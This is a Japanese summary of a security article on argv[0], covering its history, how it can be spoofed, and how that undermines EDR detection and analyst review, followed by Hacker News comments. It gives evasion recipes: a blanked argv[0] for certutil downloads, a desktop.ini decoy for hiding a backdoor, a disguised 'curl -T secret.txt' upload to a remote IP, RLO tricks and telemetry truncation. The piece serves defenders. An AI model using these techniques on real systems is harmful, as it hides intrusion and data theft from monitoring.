なぜ `argv[0]` を使うのか?
(wietzebeukema.nl)- コマンドライン(コマンドプロンプト)は奇妙なもの
- とりわけ Windows はこうした問題で有名だが、ほとんどのオペレーティングシステムのコマンドライン実装はセキュリティ問題を引き起こしうる
- この記事は、プロセスのコマンドラインにおける最初の引数
argv[0]がプロセス名を表すために予約されている慣習の問題点を説明する
argv[0] は過去の遺物
- プログラムの起動時にコマンドライン引数を受け取り、プログラム内部から参照できるようにする仕組みであり、実際にプログラム開始時に最初に与えられる情報のひとつ
- プログラムの実行フローを変更する主要なメカニズムでもある
- POSIX と DOS/Win32 で採用されている
execシステムコール群を見るとint execv(const char *path, char *const argv[]);- この
execv関数を呼び出すには、実行するアプリケーションの完全パスをpathに、引数を含むベクタをargvに渡し、整数のステータスコードが返る - この仕様によれば、この呼び出しの結果としてプログラムが正常に実行されると、対象プログラムは
int main (int argc, char *argv[]);を通じて呼び出される
- すべての C 標準において、
argcは負ではなく、argv[argc]は null ポインタであり、argcが 0 より大きければargv[0]は呼び出されたプログラムの名前を表す argv[0]の必要性に疑問を持つ人もいるかもしれない- 「新しいプロセスは自分の名前を当然知っているはずなのに、なぜ呼び出し側プロセスの最初の引数として渡す必要があるのか?」
- POSIX 環境ではプログラムがシンボリックリンク経由で呼び出されることがあり、新しいプロセスがどの要求を受けたのかを知る助けになる仕組みである
- たとえば Debian の
shutdownとrebootは同じsystemctl実行ファイルへのリンクであり、呼び出されたコマンドに応じて異なる動作をする
- これは疑わしい設計判断にも見える
- 「プログラムは自分の名前によって動作を変えるべきなのか?」
- 現代の視点から見ると、ソフトウェアの予測可能性を下げ、現代的な設計原則に反しているように見える
- 1970〜1980 年代の観点では、コンピュータ資源が乏しかったため重複を最小化しようとする試みだったと考えられる
- しかし現在ではディスク容量の問題はそれほど大きくない。たとえば macOS Sonoma では
shutdownとrebootは別々の実行ファイルとして存在する - よく似た 2 つのプログラムを 1 つのファイルに統合することが本当に必要なのか、それともコマンド引数方式のほうが適切なのかという議論がある
- この原則を受け入れるとしても、実装そのものにも議論の余地がある
argv[0]の情報をプロセス引数の一部として提供すべきなのか疑問が残るargv[0]に依存するプログラムは、呼び出し側プロセスがそれを正しく設定しなければ誤動作する可能性がある- セキュリティ上、
argv[0]を不適切に利用するプログラムも存在する - より良いアプローチは、
argv[0]を別個のtask_structや PEB の機能として分離し、オペレーティングシステムがこの値を管理するようにすることだ- そうすれば一貫した追跡が可能になり、操作できる余地も減る
- この作業に最も近い OS は、驚くことに Windows である
- Windows は他の主要 OS と異なり、新しいプロセスを生成する際に
argv[0]を設定しない - Windows の API 呼び出し(
CreateProcess、ShellExecute)は、実行ファイルのパスに基づいてargv[0]を自動設定する - この方式はもっとも理にかなった実装だが、Windows でも POSIX
exec呼び出しを採用しているため、argv[0]を手動で設定する方法が存在する
- Windows は他の主要 OS と異なり、新しいプロセスを生成する際に
argv[0] は無視される(ほとんどの場合)
argv[0]の重要性についてどう考えるにせよ、現実にはargv[0]は存在する概念であり、問題を伴うexec呼び出し時、前述の 3 つの条件のうち最初の 2 つはオペレーティングシステムが処理するが、argv[0]に関する最後の条件は管理されないexecの呼び出し側はargvを完全に制御できるため、この要件を無視でき、OS も呼び出し側・呼び出される側のプログラムもこの違反をチェックしないargv[0]無視の例echoを使って Hello, world! を表示するには、通常execv("/usr/bin/echo", ["echo", "Hello, world!"])を呼び出す- しかし
execv("/usr/bin/echo", ["oopsie", "Hello, world!"])を呼び出しても、echoプログラムは正常に実行され、Hello, world! が表示される echoプログラムはargv[0]を無視し、argv[1]以降の引数だけに注目して動作している- ほとんどのプログラムは、同様に
argv[0]を無視するアプローチを取っている
argv[0]操作の例- C 言語をはじめ、さまざまなプログラミング言語やスクリプト言語には
argv[0]を操作する方法が用意されている:
python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])" perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"' ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')" bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'- C 言語をはじめ、さまざまなプログラミング言語やスクリプト言語には
argv[0]を操作するのは簡単であり、ほとんどのプログラム実行には影響しない。しかし、セキュリティ上は問題になりうる
argv[0] は防御を崩せる
argv[0]はセキュリティソフトウェアを欺くために利用できる。悪意ある利用者がシステムを侵害すると、攻撃者のコマンドを実行してシステムを操作する- AV や EDR のような防御ソフトウェアはプロセス実行を監視し、特定のコマンドが有害だと判断されれば検知またはブロックする。ほとんどのソリューションは攻撃者が頻繁に使うコマンドを積極的に検知する
- 例:
certutilコマンドの悪用- Windows 標準の組み込みコマンドラインツール
certutilは攻撃でよく使われる。初期侵入後、外部ペイロードをダウンロードする手段として利用される - Microsoft Defender Antivirus は、ファイルダウンロードを示すコマンドライン引数がある場合
certutilの実行をブロックする。しかし、argv[0]を空白に設定してcertutilを起動すると、Defender はこれをブロックしない - これは、セキュリティ検知がプログラム名をコマンドラインの一部とみなしているために起きる問題を示している。たとえば検知ロジックが
command_line.contains('certutil') AND command_line.contains('-urlcache')のように構成されている場合、certutilがコマンドラインの一部であることを前提としている。しかしargv[0]を操作すると、この検知ロジックを回避できる - 効果的な検知ロジックは
process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')のように構成するのが望ましい
- Windows 標準の組み込みコマンドラインツール
argv[0]による検知回避- 検知回避は、
argv[0]にチューニング用キーワードを追加することでも可能である。検知は通常、基本条件と追加条件を組み合わせて誤検知をフィルタリングする - たとえば
attrib.exeがファイルを隠す動作をすると、検知ルールが発火することがある。しかし実際にはdesktop.iniファイルに対して正当に頻繁に実行される - これを知っている攻撃者は、
argv[0]にdesktop.iniを含めることで検知を回避できる。たとえばargv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']のように設定できる
- 検知回避は、
argv[0] でごまかせる
argv[0]はセキュリティソフトウェアだけでなく、人間 を欺くためにも悪用できる- セキュリティアナリストは EDR ソフトウェアのようなセキュリティツールが生成したアラートを確認し、そのアラートには関連プロセスのコマンドラインが含まれている
- プロセスのコマンドラインは、アナリストがそのアラートをさらに調査するか無視するかを判断する上で重要な情報である
- 例: コマンドラインのごまかし
- データ流出の可能性に関するアラートは、
curl -T secret.txt 123.45.67.89コマンドの実行で発生しうる。このコマンドはファイルsecret.txtを IP アドレス 123.45.67.89 にアップロードする - 同じシナリオで
argv[0]をcurlからcurl localhost | grepに変更しても、これは依然として有効なコマンドである - セキュリティソフトウェアはコマンドライン配列を空白区切りの文字列として表示するため、この場合コマンドは
curl localhost | grep -T secret.txt 123.45.67.89のように見える可能性が高い - アナリストの視点では、
curl localhostが実行され、その結果がgrep -T secret.txt 123.45.67.89に渡されているように見えるかもしれない。実際にはリモートアドレスへ情報をアップロードしているにもかかわらず、ローカルアドレスからダウンロードしているように誤認させる
- データ流出の可能性に関するアラートは、
- Right-To-Left Override(RLO)文字の活用
- 悪名高い RLO(右から左への上書き)文字を使って
argv[0]を操作できる - この Unicode 文字は、描画アプリケーションに対して以降の文字を逆順に表示するよう指示する
argv[0]に RLO を挿入すると、ping moc.elgoog.some-evil-website.comをping moc.etisbew-live-emos.google.comのように見せられる- この方法は検知ロジックには影響しないが、アナリストを欺く可能性がある
- 悪名高い RLO(右から左への上書き)文字を使って
- こうした手法は、悪意ある活動を隠すために
argv[0]を操作してセキュリティソフトウェアや人の目を欺くさまざまな方法を示している
argv[0] はテレメトリを損なう可能性がある
argv[0]はコマンドラインの 先頭 にあるため、十分な文字数をargv[0]に詰め込めば、ほかのすべての引数をコマンドライン末尾へ押しやることができる- これは 2 つの理由で問題となりうる。まず、興味深い部分をコマンドライン末尾に「隠し」、アナリストがスクロールしないよう誘導できること。さらに重要なのは、コマンドライン全体を十分長くして監視ソフトウェアに本当に重要な引数を切り捨てさせられることだ
- コマンドライン長の制限
- Windows 7 以降、Windows のコマンドライン最大長は 14,336 文字(約 14 KiB)に制限されている
- Linux カーネルでは最大長が 32 ページサイズにハードコードされており、64 ビットアーキテクチャでは約 131,072 文字(128 KiB)である
- macOS Sonoma は最大 1,048,576 文字(1 MiB)のコマンドラインを許可している
- つまり
argv[0]が占有できる任意の空間は非常に大きい
- テレメトリ損傷の例
- プロセス監視ソフトウェア(例: EDR)は、長いコマンドライン実行を丸ごと記録するか、オーバーヘッドを抑えるため固定長で切り詰めることがある
- 長いコマンドラインがすべて記録される場合、単にコマンドライン最大長を使って 1,000 個のプロセスを起動するだけで 1GiB のログデータを生成できる
- もし切り詰めが適用されるなら、コマンドライン引数がテレメトリから欠落する可能性がある。たとえば
perl -e 'exec {"echo"} "_"x50000, "Hello, world!"'コマンドは “Hello, world!” を出力するが、実行のテレメトリにはアンダースコアだけが記録されたり、場合によっては完全に空のコマンドラインが記録されたりする - その結果、実際に重要なコマンドライン引数が存在しないことになり、検知ロジックもアナリストも本当は何が起きたのか把握できなくなる
argv[0] の危険性: 予防と検知
argv[0]は 1 つの問題を解決しようとして、いくつもの別の問題を生み出しているargv[0]が近いうちに消える可能性は低いため、セキュリティの観点からどう扱うかに注力する必要がある- 予防策
- ソフトウェア開発者は、
argv[0]が自分のファイル名と一致するか比較することで改ざんを確認できるが、これはスケーラブルではない - オペレーティングシステムであれば、このチェックをより信頼性高く行える。プログラムのフローを変更するために
argv[0]に依存することは、まったく推奨されない - 開発者は可能な限り
argv[0]と関わらないのが最善である
- ソフトウェア開発者は、
- セキュリティ専門家向けの検知方法
argv[0]の仕組みと問題点を認識することは、コマンドライン偽装を防ぐ重要な一歩である- セキュリティソフトウェアがコマンドライン引数を配列として提供するなら、特定のパターンを信頼性高く識別できる
- 過度に長い
argv[0]の値や、パイプ文字のような疑わしい文字を含む値は、直ちに不審としてフラグ付けすべきである - コマンドライン引数が文字列として提供される場合でも、プログラム名を含まないコマンドラインをフラグ付けできる。これは
argv[0]が操作されたことを示唆する - RLO 文字の存在自体が、ほとんどの環境で高い効果を持つ検知方法である
- 切り詰められたコマンドライン引数については、セキュリティソリューションやデータレイクがそれをどう扱うのか、生成されるテレメトリにどのような影響があるのかを理解する必要がある
- 防御ソフトウェアの改善
- 防御ソフトウェアは
argv[0]悪用への検知を改善すべきである。不審なargv[0]値でのソフトウェア実行をブロックできるべきであり、しかも誤検知を引き起こさないようにする必要がある - EDR プラットフォームは、コマンドライン引数を報告する際に
argv[0]を除外することも検討すべきである。これはこの記事で強調された問題の大半を取り除き、フォレンジック上の価値も多くの場合は低い
- 防御ソフトウェアは
- 結局のところ、
argv[0]のせいで頭を悩ませたい人はいない。私たちのソフトウェアも同様である
GN⁺ のまとめ
argv[0]は過去の遺物であり、現代のソフトウェア設計原則に反している- ほとんどのプログラムは
argv[0]を無視するが、それでもセキュリティ問題を引き起こしうる argv[0]はセキュリティソフトウェアや人を欺けるうえ、テレメトリを損なう可能性がある- セキュリティ専門家は
argv[0]の悪用を検知し、防御ソフトウェアはこれをより適切に扱う必要がある
2件のコメント
自分が古い人間だからかもしれませんが……筆者の主張にはあまり共感できません。問題は
execなのであって、とばっちりがargv[0]に及んでいるように感じます。Hacker Newsの意見
argv[0]を読むことへの反対意見は、著者の無知か、あるいは強力な防御が必要だというものargv[0]の値を使うことを制限する議論は検討に値するargv[0]は数百のコマンドのシンボリックリンク先として使われるargv[0]を使うツールによって、コンテナ内部からホストのコマンドを実行できるプログラムが名前に応じて異なる動作をすること自体は問題ではない
argv[0]への反対意見は、現代的な設計原則に反するという主張argv[0]を使って virtualenv の内部かどうかを確認し、検索パスを調整するargv[0]はセキュリティの観点で特別に悪いわけではないargv[0]は問題ないargv[0]を使ってコマンドのバージョンを区別するbusybox は「shim」モードで
argv[0]を使うmacOS では、複数のコマンドが単一の実行ファイルを指すように設定されている
argv[0]を使って CLI の使い勝手を改善し、コードの重複を減らしているargv[0]を取り除くと有用な機能が失われるargv[0]を削除しても、攻撃者は別の方法を見つけるだろう